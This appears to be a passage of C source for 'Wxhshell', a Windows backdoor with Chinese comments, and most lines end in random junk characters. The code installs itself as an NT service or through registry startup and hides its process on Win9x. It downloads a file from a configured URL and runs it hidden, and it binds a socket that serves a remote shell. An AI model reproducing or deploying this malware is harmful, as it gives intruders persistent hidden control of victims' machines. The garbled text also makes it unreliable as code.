PROCNTQSIP NtQueryInformationProcess; c[$oR,2b13
0a'y\f:6*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HvTQycG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ez>@'yhK
4J1Q])G9
HANDLE hProcess; =$Z'F<|d
PROCESS_BASIC_INFORMATION pbi; E=d[pI,e
V2.K*CpZ7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^-_!:7TH]
if(NULL == hInst ) return 0; ceCshxTU
6>Y}2fT}o3
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =`U[{3A_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g:g>;"B
O
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "e"`Or
A VjtK
if (!NtQueryInformationProcess) return 0; ajAEGD2Zq
hbK+\X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c#DTL/8"DO
if(!hProcess) return 0; ~gc)Ww0(Q
:<W8uDAs
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pqK3u)
jDoWSYu4tY
CloseHandle(hProcess); L{-w9(S`i
`3-j%H2R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bCF63(0
if(hProcess==NULL) return 0; }bVyvH
K02./ut-
HMODULE hMod; [Dhc9
char procName[255]; /dqKFxB1
unsigned long cbNeeded; 0)B+:
I2dt#
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l;2bBx7vW
=aCv
Xa&,
CloseHandle(hProcess); 7\xa_nrI
-=RXhE_{
if(strstr(procName,"services")) return 1; // 以服务启动 oOlI*/OMb
,y.0Cb0
return 0; // 注册表启动 %lPP1
R
} =pNkS1ey
`y\:3bQ4
// 主模块 ,'j5tU?c
int StartWxhshell(LPSTR lpCmdLine) }&j&T9oX
{ 8C2t0u;Y
.
SOCKET wsl; +G~b-}
BOOL val=TRUE; [Y*UCFhI0
int port=0; Di6:r3sEO
struct sockaddr_in door; {^qc`oF
c2C8}XJ|O
if(wscfg.ws_autoins) Install(); )Mok$
'Zzm'pC
port=atoi(lpCmdLine); ^vPa{+N
,d7@*>T&
if(port<=0) port=wscfg.ws_port; S8y4 p0mV
K( p1+GHC
WSADATA data; 5HU>o|.
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j% nd
>3bpa<M_
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]?r8^L yZ4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #GF1MFkoS
door.sin_family = AF_INET; IE6/
E
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^uj+d"a)
door.sin_port = htons(port); Jx}5`{\
34U~7P
r9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =4I361oMf
closesocket(wsl); +)|2$$m
return 1; uC3$iY:_e
} TnG"_VK9R
qgDBu\
if(listen(wsl,2) == INVALID_SOCKET) { {T IGPK
closesocket(wsl); 1>2397
return 1; f 6q@
} #Kl;iY:n
Wxhshell(wsl); I;7{b\t
Q
WSACleanup(); cO8;2u,Gvi
IP >An8+
return 0; HDaec`j
XBc+_=)$
} J+TYm%A;-
]D%[GO//!
// 以NT服务方式启动 +LyhF2
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /L~*FQQK>
{ pZR^ HOq
DWORD status = 0; ^_oLhNoez2
DWORD specificError = 0xfffffff; &M2x`
-P?}
qy^j(
serviceStatus.dwServiceType = SERVICE_WIN32; JDP#tA3
serviceStatus.dwCurrentState = SERVICE_START_PENDING; r1\.Jz
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6R<%.-qr
serviceStatus.dwWin32ExitCode = 0; R0|X;3
serviceStatus.dwServiceSpecificExitCode = 0; k X-AC5]
serviceStatus.dwCheckPoint = 0; qEpBzQ&gX6
serviceStatus.dwWaitHint = 0; Oe#k|
V *]!N
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M|Se|*w
if (hServiceStatusHandle==0) return; qg|+BIiUz
$?A]!Y;
status = GetLastError(); XyI w5
9
if (status!=NO_ERROR) u+V;r)J{
{ OJK/>
serviceStatus.dwCurrentState = SERVICE_STOPPED; <s:Xj
serviceStatus.dwCheckPoint = 0; qm '$R3g
serviceStatus.dwWaitHint = 0; X4TUi8ht!]
serviceStatus.dwWin32ExitCode = status; ep^0Cd/
serviceStatus.dwServiceSpecificExitCode = specificError; ?=vwr,ir
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K%g\\uo
return; zqeU>V~<F
} 2.[qcs3zl
Glwpu-@X
serviceStatus.dwCurrentState = SERVICE_RUNNING; &><`?
serviceStatus.dwCheckPoint = 0; cnj_tC=zt
serviceStatus.dwWaitHint = 0; 07#!b~N
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {L0w&~$Fy
} -lp_~)j^
+2g3%c0}
// 处理NT服务事件,比如:启动、停止 wVvU]UT
VOID WINAPI NTServiceHandler(DWORD fdwControl) *vb)d0}P
{ &zT~3>2
switch(fdwControl) 0eLK9u3<
{ l{R)yTO
case SERVICE_CONTROL_STOP: ALv\"uUNu+
serviceStatus.dwWin32ExitCode = 0; gu/Yc`S[
serviceStatus.dwCurrentState = SERVICE_STOPPED; k (R4-"@
serviceStatus.dwCheckPoint = 0; Z/x1?{z
serviceStatus.dwWaitHint = 0; 0(kp>%mbB
{ Q4x71*vy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Ga6O2:
} Nh))U
return; M~6I-HexT|
case SERVICE_CONTROL_PAUSE: ..t=Y#
serviceStatus.dwCurrentState = SERVICE_PAUSED; Dmw,Bi*
break; s,RS}ek~|
case SERVICE_CONTROL_CONTINUE: B/71$i
serviceStatus.dwCurrentState = SERVICE_RUNNING; 1K`A.J:Uy
break; 4Y2>w
case SERVICE_CONTROL_INTERROGATE: Yem\`; *
break; '3Ri/V,
}; twn@~$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); K+\hv~+@
} w&{J9'~
B]vj1m`9
// 标准应用程序主函数 q
mB@kbt
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,aJrN!fzU
{ I?"5i8E
}FXRp=s
// 获取操作系统版本 Ua]zTMI
OsIsNt=GetOsVer(); RBXoU'.
GetModuleFileName(NULL,ExeFile,MAX_PATH); -&?-
UQFuEI<1-
// 从命令行安装 krA))cP
if(strpbrk(lpCmdLine,"iI")) Install(); d(!N$B\[5T
F\I^d]#,[
// 下载执行文件 vpDs5tUl
if(wscfg.ws_downexe) { ;vitg"Zh>
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [xPE?OD
WinExec(wscfg.ws_filenam,SW_HIDE); | QA8"&r
} sn(}5;
=X*E(.6Ip
if(!OsIsNt) { H4,yuV
// 如果时win9x,隐藏进程并且设置为注册表启动 ^Ram8fW
HideProc(); kQ8WO|bA
StartWxhshell(lpCmdLine); Oq5k4
} UL%ihWq
else #"_MY-
if(StartFromService()) ooQ( bF
// 以服务方式启动 U4gwxK
StartServiceCtrlDispatcher(DispatchTable); ~}w 8UO
else qZh~Ay6I
// 普通方式启动 _HsvF[\[
StartWxhshell(lpCmdLine); 5b,98Q
[78
.%b'
return 0; qE}YVKV*
}